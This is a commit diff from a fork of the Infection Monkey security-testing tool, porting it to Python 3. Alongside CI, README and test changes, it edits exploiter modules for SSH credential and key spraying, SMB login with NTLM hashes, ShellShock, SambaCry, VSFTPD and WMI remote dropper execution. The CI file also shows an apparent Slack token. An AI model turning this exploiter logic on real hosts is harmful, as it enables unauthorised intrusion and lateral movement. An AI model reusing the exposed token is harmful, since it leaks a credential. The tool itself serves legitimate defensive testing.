forked from p15670423/monkey
Merge branch '393/python-3' into deployment_scripts_python3
# Conflicts: # monkey/monkey_island/cc/ui/package-lock.json # monkey/monkey_island/cc/ui/package.json # monkey/monkey_island/requirements.txt
This commit is contained in:
commit
88b8d2ce5a
31
.travis.yml
31
.travis.yml
|
@ -1,18 +1,29 @@
|
||||||
|
# Infection Monkey travis.yml. See Travis documentation for information about this file structure.
|
||||||
|
|
||||||
group: travis_latest
|
group: travis_latest
|
||||||
language: python
|
language: python
|
||||||
cache: pip
|
cache: pip
|
||||||
python:
|
python:
|
||||||
- 2.7
|
- 3.7
|
||||||
install:
|
install:
|
||||||
#- pip install -r requirements.txt
|
- pip install -r monkey/monkey_island/requirements.txt # for unit tests
|
||||||
- pip install flake8 # pytest # add another testing frameworks later
|
- pip install flake8 pytest dlint # for next stages
|
||||||
|
- pip install -r monkey/infection_monkey/requirements_linux.txt # for unit tests
|
||||||
before_script:
|
before_script:
|
||||||
# stop the build if there are Python syntax errors or undefined names
|
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics # Check syntax errors
|
||||||
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
|
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics # warn about linter issues. --exit-zero
|
||||||
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
|
# means this stage will not fail the build. This is (hopefully) a temporary measure until all warnings are suppressed.
|
||||||
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
|
- python monkey/monkey_island/cc/set_server_config.py testing # Set the server config to `testing`, for the UTs to use
|
||||||
|
# mongomaock and pass.
|
||||||
script:
|
script:
|
||||||
- true # pytest --capture=sys # add other tests here
|
- cd monkey # This is our source dir
|
||||||
|
- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.
|
||||||
notifications:
|
notifications:
|
||||||
on_success: change
|
slack: # Notify to slack
|
||||||
on_failure: change # `always` will be the setting once code changes slow down
|
rooms:
|
||||||
|
- infectionmonkey:QaXbsx4g7tHFJW0lhtiBmoAg#ci # room: #ci
|
||||||
|
on_success: change
|
||||||
|
on_failure: always
|
||||||
|
email:
|
||||||
|
on_success: change
|
||||||
|
on_failure: always
|
||||||
|
|
13
README.md
13
README.md
|
@ -1,13 +1,18 @@
|
||||||
Infection Monkey
|
Infection Monkey
|
||||||
====================
|
====================
|
||||||
|
[![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey)
|
||||||
|
[![GitHub release (latest by date)](https://img.shields.io/github/v/release/guardicore/monkey)](https://github.com/guardicore/monkey/releases)
|
||||||
|
![GitHub stars](https://img.shields.io/github/stars/guardicore/monkey)
|
||||||
|
![GitHub commit activity](https://img.shields.io/github/commit-activity/m/guardicore/monkey)
|
||||||
|
|
||||||
### Data center Security Testing Tool
|
## Data center Security Testing Tool
|
||||||
------------------------
|
------------------------
|
||||||
|
|
||||||
Welcome to the Infection Monkey!
|
Welcome to the Infection Monkey!
|
||||||
|
|
||||||
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
|
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
|
||||||
|
|
||||||
|
|
||||||
<img src=".github/map-full.png" >
|
<img src=".github/map-full.png" >
|
||||||
|
|
||||||
<img src=".github/Security-overview.png" width="800" height="500">
|
<img src=".github/Security-overview.png" width="800" height="500">
|
||||||
|
@ -50,6 +55,12 @@ If you only want to build the monkey from source, see [Setup](https://github.com
|
||||||
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
|
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
|
||||||
|
|
||||||
|
|
||||||
|
### Build status
|
||||||
|
| Branch | Status |
|
||||||
|
| ------ | :----: |
|
||||||
|
| Develop | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) |
|
||||||
|
| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) |
|
||||||
|
|
||||||
License
|
License
|
||||||
=======
|
=======
|
||||||
Copyright (c) Guardicore Ltd
|
Copyright (c) Guardicore Ltd
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
import requests
|
import requests
|
||||||
|
import functools
|
||||||
|
|
||||||
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
|
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
|
||||||
import logging
|
import logging
|
||||||
|
@ -8,6 +9,7 @@ NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d206
|
||||||
LOGGER = logging.getLogger(__name__)
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
# noinspection PyArgumentList
|
||||||
class MonkeyIslandRequests(object):
|
class MonkeyIslandRequests(object):
|
||||||
def __init__(self, server_address):
|
def __init__(self, server_address):
|
||||||
self.addr = "https://{IP}/".format(IP=server_address)
|
self.addr = "https://{IP}/".format(IP=server_address)
|
||||||
|
@ -21,29 +23,43 @@ class MonkeyIslandRequests(object):
|
||||||
"Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr))
|
"Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr))
|
||||||
assert False
|
assert False
|
||||||
|
|
||||||
|
class _Decorators:
|
||||||
|
@classmethod
|
||||||
|
def refresh_jwt_token(cls, request_function):
|
||||||
|
@functools.wraps(request_function)
|
||||||
|
def request_function_wrapper(self, *args,**kwargs):
|
||||||
|
self.token = self.try_get_jwt_from_server()
|
||||||
|
# noinspection PyArgumentList
|
||||||
|
return request_function(self, *args, **kwargs)
|
||||||
|
return request_function_wrapper
|
||||||
|
|
||||||
def get_jwt_from_server(self):
|
def get_jwt_from_server(self):
|
||||||
resp = requests.post(self.addr + "api/auth",
|
resp = requests.post(self.addr + "api/auth",
|
||||||
json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
|
json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
|
||||||
verify=False)
|
verify=False)
|
||||||
return resp.json()["access_token"]
|
return resp.json()["access_token"]
|
||||||
|
|
||||||
|
@_Decorators.refresh_jwt_token
|
||||||
def get(self, url, data=None):
|
def get(self, url, data=None):
|
||||||
return requests.get(self.addr + url,
|
return requests.get(self.addr + url,
|
||||||
headers=self.get_jwt_header(),
|
headers=self.get_jwt_header(),
|
||||||
params=data,
|
params=data,
|
||||||
verify=False)
|
verify=False)
|
||||||
|
|
||||||
|
@_Decorators.refresh_jwt_token
|
||||||
def post(self, url, data):
|
def post(self, url, data):
|
||||||
return requests.post(self.addr + url,
|
return requests.post(self.addr + url,
|
||||||
data=data,
|
data=data,
|
||||||
headers=self.get_jwt_header(),
|
headers=self.get_jwt_header(),
|
||||||
verify=False)
|
verify=False)
|
||||||
|
|
||||||
|
@_Decorators.refresh_jwt_token
|
||||||
def post_json(self, url, dict_data):
|
def post_json(self, url, dict_data):
|
||||||
return requests.post(self.addr + url,
|
return requests.post(self.addr + url,
|
||||||
json=dict_data,
|
json=dict_data,
|
||||||
headers=self.get_jwt_header(),
|
headers=self.get_jwt_header(),
|
||||||
verify=False)
|
verify=False)
|
||||||
|
|
||||||
|
@_Decorators.refresh_jwt_token
|
||||||
def get_jwt_header(self):
|
def get_jwt_header(self):
|
||||||
return {"Authorization": "JWT " + self.token}
|
return {"Authorization": "JWT " + self.token}
|
||||||
|
|
|
@ -13,7 +13,7 @@ from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHand
|
||||||
|
|
||||||
DEFAULT_TIMEOUT_SECONDS = 5*60
|
DEFAULT_TIMEOUT_SECONDS = 5*60
|
||||||
MACHINE_BOOTUP_WAIT_SECONDS = 30
|
MACHINE_BOOTUP_WAIT_SECONDS = 30
|
||||||
GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'haddop-2', 'hadoop-3', 'mssql-16',
|
GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16',
|
||||||
'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10',
|
'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10',
|
||||||
'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
|
'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
|
||||||
LOG_DIR_PATH = "./logs"
|
LOG_DIR_PATH = "./logs"
|
||||||
|
|
|
@ -11,20 +11,20 @@ class TestSegmentationUtils(IslandTestCase):
|
||||||
|
|
||||||
# IP not in both
|
# IP not in both
|
||||||
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
||||||
[text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
|
["3.3.3.3", "4.4.4.4"], source, target
|
||||||
))
|
))
|
||||||
|
|
||||||
# IP not in source, in target
|
# IP not in source, in target
|
||||||
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
||||||
[text_type("2.2.2.2")], source, target
|
["2.2.2.2"], source, target
|
||||||
))
|
))
|
||||||
|
|
||||||
# IP in source, not in target
|
# IP in source, not in target
|
||||||
self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
|
self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
|
||||||
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
|
["8.8.8.8", "1.1.1.1"], source, target
|
||||||
))
|
))
|
||||||
|
|
||||||
# IP in both subnets
|
# IP in both subnets
|
||||||
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
||||||
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
|
["8.8.8.8", "1.1.1.1"], source, source
|
||||||
))
|
))
|
||||||
|
|
|
@ -395,7 +395,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
if fileName != '':
|
if fileName != '':
|
||||||
smb2Create['Buffer'] = fileName.encode('utf-16le')
|
smb2Create['Buffer'] = fileName.encode('utf-16le')
|
||||||
else:
|
else:
|
||||||
smb2Create['Buffer'] = '\x00'
|
smb2Create['Buffer'] = b'\x00'
|
||||||
|
|
||||||
if createContexts is not None:
|
if createContexts is not None:
|
||||||
smb2Create['Buffer'] += createContexts
|
smb2Create['Buffer'] += createContexts
|
||||||
|
|
|
@ -207,7 +207,7 @@ class ShellShockExploiter(HostExploiter):
|
||||||
LOG.debug("Header is: %s" % header)
|
LOG.debug("Header is: %s" % header)
|
||||||
LOG.debug("Attack is: %s" % attack)
|
LOG.debug("Attack is: %s" % attack)
|
||||||
r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT)
|
r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT)
|
||||||
result = r.content
|
result = r.content.decode()
|
||||||
return result
|
return result
|
||||||
except requests.exceptions.RequestException as exc:
|
except requests.exceptions.RequestException as exc:
|
||||||
LOG.debug("Failed to run, exception %s" % exc)
|
LOG.debug("Failed to run, exception %s" % exc)
|
||||||
|
|
|
@ -108,16 +108,15 @@ class SmbExploiter(HostExploiter):
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
||||||
for str_bind_format, port in list(SmbExploiter.KNOWN_PROTOCOLS.values()):
|
smb_conn = False
|
||||||
|
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
||||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
||||||
rpctransport.set_dport(port)
|
rpctransport.set_dport(port)
|
||||||
|
|
||||||
if hasattr(rpctransport, 'preferred_dialect'):
|
if hasattr(rpctransport, 'preferred_dialect'):
|
||||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||||
if hasattr(rpctransport, 'set_credentials'):
|
if hasattr(rpctransport, 'set_credentials'):
|
||||||
# This method exists only for selected protocol sequences.
|
# This method exists only for selected protocol sequences.
|
||||||
rpctransport.set_credentials(user, password, '',
|
rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None)
|
||||||
lm_hash, ntlm_hash, None)
|
|
||||||
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
||||||
|
|
||||||
scmr_rpc = rpctransport.get_dce_rpc()
|
scmr_rpc = rpctransport.get_dce_rpc()
|
||||||
|
@ -125,13 +124,14 @@ class SmbExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
scmr_rpc.connect()
|
scmr_rpc.connect()
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warning("Error connecting to SCM on exploited machine %r: %s",
|
LOG.debug("Can't connect to SCM on exploited machine %r port %s : %s", self.host, port, exc)
|
||||||
self.host, exc)
|
continue
|
||||||
return False
|
|
||||||
|
|
||||||
smb_conn = rpctransport.get_smb_connection()
|
smb_conn = rpctransport.get_smb_connection()
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if not smb_conn:
|
||||||
|
return False
|
||||||
# We don't wanna deal with timeouts from now on.
|
# We don't wanna deal with timeouts from now on.
|
||||||
smb_conn.setTimeout(100000)
|
smb_conn.setTimeout(100000)
|
||||||
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
|
|
|
@ -9,6 +9,7 @@ from infection_monkey.exploit import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||||
from infection_monkey.model import MONKEY_ARG
|
from infection_monkey.model import MONKEY_ARG
|
||||||
|
from infection_monkey.exploit.tools.exceptions import FailedExploitationError
|
||||||
from infection_monkey.network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
|
@ -37,15 +38,16 @@ class SSHExploiter(HostExploiter):
|
||||||
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||||
self._update_timestamp = time.time()
|
self._update_timestamp = time.time()
|
||||||
|
|
||||||
def exploit_with_ssh_keys(self, port, ssh):
|
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||||
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
|
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
|
||||||
|
|
||||||
exploited = False
|
|
||||||
|
|
||||||
for user, ssh_key_pair in user_ssh_key_pairs:
|
for user, ssh_key_pair in user_ssh_key_pairs:
|
||||||
# Creating file-like private key for paramiko
|
# Creating file-like private key for paramiko
|
||||||
pkey = io.StringIO(ssh_key_pair['private_key'])
|
pkey = io.StringIO(ssh_key_pair['private_key'])
|
||||||
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
|
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
|
||||||
|
|
||||||
|
ssh = paramiko.SSHClient()
|
||||||
|
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||||
try:
|
try:
|
||||||
pkey = paramiko.RSAKey.from_private_key(pkey)
|
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||||
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||||
|
@ -54,52 +56,49 @@ class SSHExploiter(HostExploiter):
|
||||||
ssh.connect(self.host.ip_addr,
|
ssh.connect(self.host.ip_addr,
|
||||||
username=user,
|
username=user,
|
||||||
pkey=pkey,
|
pkey=pkey,
|
||||||
port=port,
|
port=port)
|
||||||
timeout=None)
|
|
||||||
LOG.debug("Successfully logged in %s using %s users private key",
|
LOG.debug("Successfully logged in %s using %s users private key",
|
||||||
self.host, ssh_string)
|
self.host, ssh_string)
|
||||||
exploited = True
|
|
||||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||||
break
|
return ssh
|
||||||
except Exception as exc:
|
except Exception:
|
||||||
|
ssh.close()
|
||||||
LOG.debug("Error logging into victim %r with %s"
|
LOG.debug("Error logging into victim %r with %s"
|
||||||
" private key", self.host,
|
" private key", self.host,
|
||||||
ssh_string)
|
ssh_string)
|
||||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||||
continue
|
continue
|
||||||
return exploited
|
raise FailedExploitationError
|
||||||
|
|
||||||
def exploit_with_login_creds(self, port, ssh):
|
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
|
|
||||||
exploited = False
|
|
||||||
|
|
||||||
for user, current_password in user_password_pairs:
|
for user, current_password in user_password_pairs:
|
||||||
|
|
||||||
|
ssh = paramiko.SSHClient()
|
||||||
|
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||||
try:
|
try:
|
||||||
ssh.connect(self.host.ip_addr,
|
ssh.connect(self.host.ip_addr,
|
||||||
username=user,
|
username=user,
|
||||||
password=current_password,
|
password=current_password,
|
||||||
port=port,
|
port=port)
|
||||||
timeout=None)
|
|
||||||
|
|
||||||
LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
||||||
self.host, user, self._config.hash_sensitive_data(current_password))
|
self.host, user, self._config.hash_sensitive_data(current_password))
|
||||||
exploited = True
|
|
||||||
self.add_vuln_port(port)
|
self.add_vuln_port(port)
|
||||||
self.report_login_attempt(True, user, current_password)
|
self.report_login_attempt(True, user, current_password)
|
||||||
break
|
return ssh
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error logging into victim %r with user"
|
LOG.debug("Error logging into victim %r with user"
|
||||||
" %s and password (SHA-512) '%s': (%s)", self.host,
|
" %s and password (SHA-512) '%s': (%s)", self.host,
|
||||||
user, self._config.hash_sensitive_data(current_password), exc)
|
user, self._config.hash_sensitive_data(current_password), exc)
|
||||||
self.report_login_attempt(False, user, current_password)
|
self.report_login_attempt(False, user, current_password)
|
||||||
|
ssh.close()
|
||||||
continue
|
continue
|
||||||
return exploited
|
raise FailedExploitationError
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
ssh = paramiko.SSHClient()
|
|
||||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
|
||||||
|
|
||||||
port = SSH_PORT
|
port = SSH_PORT
|
||||||
# if ssh banner found on different port, use that port.
|
# if ssh banner found on different port, use that port.
|
||||||
|
@ -112,14 +111,14 @@ class SSHExploiter(HostExploiter):
|
||||||
LOG.info("SSH port is closed on %r, skipping", self.host)
|
LOG.info("SSH port is closed on %r, skipping", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Check for possible ssh exploits
|
try:
|
||||||
exploited = self.exploit_with_ssh_keys(port, ssh)
|
ssh = self.exploit_with_ssh_keys(port)
|
||||||
if not exploited:
|
except FailedExploitationError:
|
||||||
exploited = self.exploit_with_login_creds(port, ssh)
|
try:
|
||||||
|
ssh = self.exploit_with_login_creds(port)
|
||||||
if not exploited:
|
except FailedExploitationError:
|
||||||
LOG.debug("Exploiter SSHExploiter is giving up...")
|
LOG.debug("Exploiter SSHExploiter is giving up...")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if not self.host.os.get('type'):
|
if not self.host.os.get('type'):
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -2,4 +2,7 @@
|
||||||
|
|
||||||
class ExploitingVulnerableMachineError(Exception):
|
class ExploitingVulnerableMachineError(Exception):
|
||||||
""" Raise when exploiter failed, but machine is vulnerable"""
|
""" Raise when exploiter failed, but machine is vulnerable"""
|
||||||
pass
|
|
||||||
|
|
||||||
|
class FailedExploitationError(Exception):
|
||||||
|
""" Raise when exploiter fails instead of returning False"""
|
||||||
|
|
|
@ -45,7 +45,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
s.connect((ip_addr, port))
|
s.connect((ip_addr, port))
|
||||||
return True
|
return True
|
||||||
except socket.error as e:
|
except socket.error as e:
|
||||||
LOG.error('Failed to connect to %s', self.host.ip_addr)
|
LOG.info('Failed to connect to %s: %s', self.host.ip_addr, str(e))
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def socket_send_recv(self, s, message):
|
def socket_send_recv(self, s, message):
|
||||||
|
@ -53,7 +53,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
s.send(message)
|
s.send(message)
|
||||||
return s.recv(RECV_128).decode('utf-8')
|
return s.recv(RECV_128).decode('utf-8')
|
||||||
except socket.error as e:
|
except socket.error as e:
|
||||||
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e))
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def socket_send(self, s, message):
|
def socket_send(self, s, message):
|
||||||
|
@ -61,7 +61,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
s.send(message)
|
s.send(message)
|
||||||
return True
|
return True
|
||||||
except socket.error as e:
|
except socket.error as e:
|
||||||
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e))
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
|
|
|
@ -104,9 +104,9 @@ class WmiExploiter(HostExploiter):
|
||||||
ntpath.split(remote_full_path)[0],
|
ntpath.split(remote_full_path)[0],
|
||||||
None)
|
None)
|
||||||
|
|
||||||
if (0 != result.ProcessId) and (0 == result.ReturnValue):
|
if (0 != result.ProcessId) and (not result.ReturnValue):
|
||||||
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
|
||||||
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
|
remote_full_path, self.host, result.ProcessId, cmdline)
|
||||||
|
|
||||||
self.add_vuln_port(port='unknown')
|
self.add_vuln_port(port='unknown')
|
||||||
success = True
|
success = True
|
||||||
|
|
|
@ -12,7 +12,7 @@ SMB_SERVICE = 'tcp-445'
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class Packet(object):
|
class Packet:
|
||||||
fields = odict([
|
fields = odict([
|
||||||
("data", ""),
|
("data", ""),
|
||||||
])
|
])
|
||||||
|
@ -25,78 +25,79 @@ class Packet(object):
|
||||||
else:
|
else:
|
||||||
self.fields[k] = v
|
self.fields[k] = v
|
||||||
|
|
||||||
def __str__(self):
|
def to_byte_string(self):
|
||||||
return "".join(map(str, list(self.fields.values())))
|
content_list = [(x.to_byte_string() if hasattr(x, "to_byte_string") else x) for x in self.fields.values()]
|
||||||
|
return b"".join(content_list)
|
||||||
|
|
||||||
|
|
||||||
##### SMB Packets #####
|
##### SMB Packets #####
|
||||||
class SMBHeader(Packet):
|
class SMBHeader(Packet):
|
||||||
fields = odict([
|
fields = odict([
|
||||||
("proto", "\xff\x53\x4d\x42"),
|
("proto", b"\xff\x53\x4d\x42"),
|
||||||
("cmd", "\x72"),
|
("cmd", b"\x72"),
|
||||||
("errorcode", "\x00\x00\x00\x00"),
|
("errorcode", b"\x00\x00\x00\x00"),
|
||||||
("flag1", "\x00"),
|
("flag1", b"\x00"),
|
||||||
("flag2", "\x00\x00"),
|
("flag2", b"\x00\x00"),
|
||||||
("pidhigh", "\x00\x00"),
|
("pidhigh", b"\x00\x00"),
|
||||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
("reserved", "\x00\x00"),
|
("reserved", b"\x00\x00"),
|
||||||
("tid", "\x00\x00"),
|
("tid", b"\x00\x00"),
|
||||||
("pid", "\x00\x00"),
|
("pid", b"\x00\x00"),
|
||||||
("uid", "\x00\x00"),
|
("uid", b"\x00\x00"),
|
||||||
("mid", "\x00\x00"),
|
("mid", b"\x00\x00"),
|
||||||
])
|
])
|
||||||
|
|
||||||
|
|
||||||
class SMBNego(Packet):
|
class SMBNego(Packet):
|
||||||
fields = odict([
|
fields = odict([
|
||||||
("wordcount", "\x00"),
|
("wordcount", b"\x00"),
|
||||||
("bcc", "\x62\x00"),
|
("bcc", b"\x62\x00"),
|
||||||
("data", "")
|
("data", "")
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["bcc"] = struct.pack("<h", len(str(self.fields["data"])))
|
self.fields["bcc"] = struct.pack("<h", len(self.fields["data"].to_byte_string()))
|
||||||
|
|
||||||
|
|
||||||
class SMBNegoFingerData(Packet):
|
class SMBNegoFingerData(Packet):
|
||||||
fields = odict([
|
fields = odict([
|
||||||
("separator1", "\x02"),
|
("separator1", b"\x02"),
|
||||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
("dialect1", b"\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||||
("separator2", "\x02"),
|
("separator2", b"\x02"),
|
||||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
("dialect2", b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||||
("separator3", "\x02"),
|
("separator3", b"\x02"),
|
||||||
("dialect3",
|
("dialect3",
|
||||||
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||||
("separator4", "\x02"),
|
("separator4", b"\x02"),
|
||||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
("dialect4", b"\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||||
("separator5", "\x02"),
|
("separator5", b"\x02"),
|
||||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
("dialect5", b"\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||||
("separator6", "\x02"),
|
("separator6", b"\x02"),
|
||||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
("dialect6", b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||||
])
|
])
|
||||||
|
|
||||||
|
|
||||||
class SMBSessionFingerData(Packet):
|
class SMBSessionFingerData(Packet):
|
||||||
fields = odict([
|
fields = odict([
|
||||||
("wordcount", "\x0c"),
|
("wordcount", b"\x0c"),
|
||||||
("AndXCommand", "\xff"),
|
("AndXCommand", b"\xff"),
|
||||||
("reserved", "\x00"),
|
("reserved", b"\x00"),
|
||||||
("andxoffset", "\x00\x00"),
|
("andxoffset", b"\x00\x00"),
|
||||||
("maxbuff", "\x04\x11"),
|
("maxbuff", b"\x04\x11"),
|
||||||
("maxmpx", "\x32\x00"),
|
("maxmpx", b"\x32\x00"),
|
||||||
("vcnum", "\x00\x00"),
|
("vcnum", b"\x00\x00"),
|
||||||
("sessionkey", "\x00\x00\x00\x00"),
|
("sessionkey", b"\x00\x00\x00\x00"),
|
||||||
("securitybloblength", "\x4a\x00"),
|
("securitybloblength", b"\x4a\x00"),
|
||||||
("reserved2", "\x00\x00\x00\x00"),
|
("reserved2", b"\x00\x00\x00\x00"),
|
||||||
("capabilities", "\xd4\x00\x00\xa0"),
|
("capabilities", b"\xd4\x00\x00\xa0"),
|
||||||
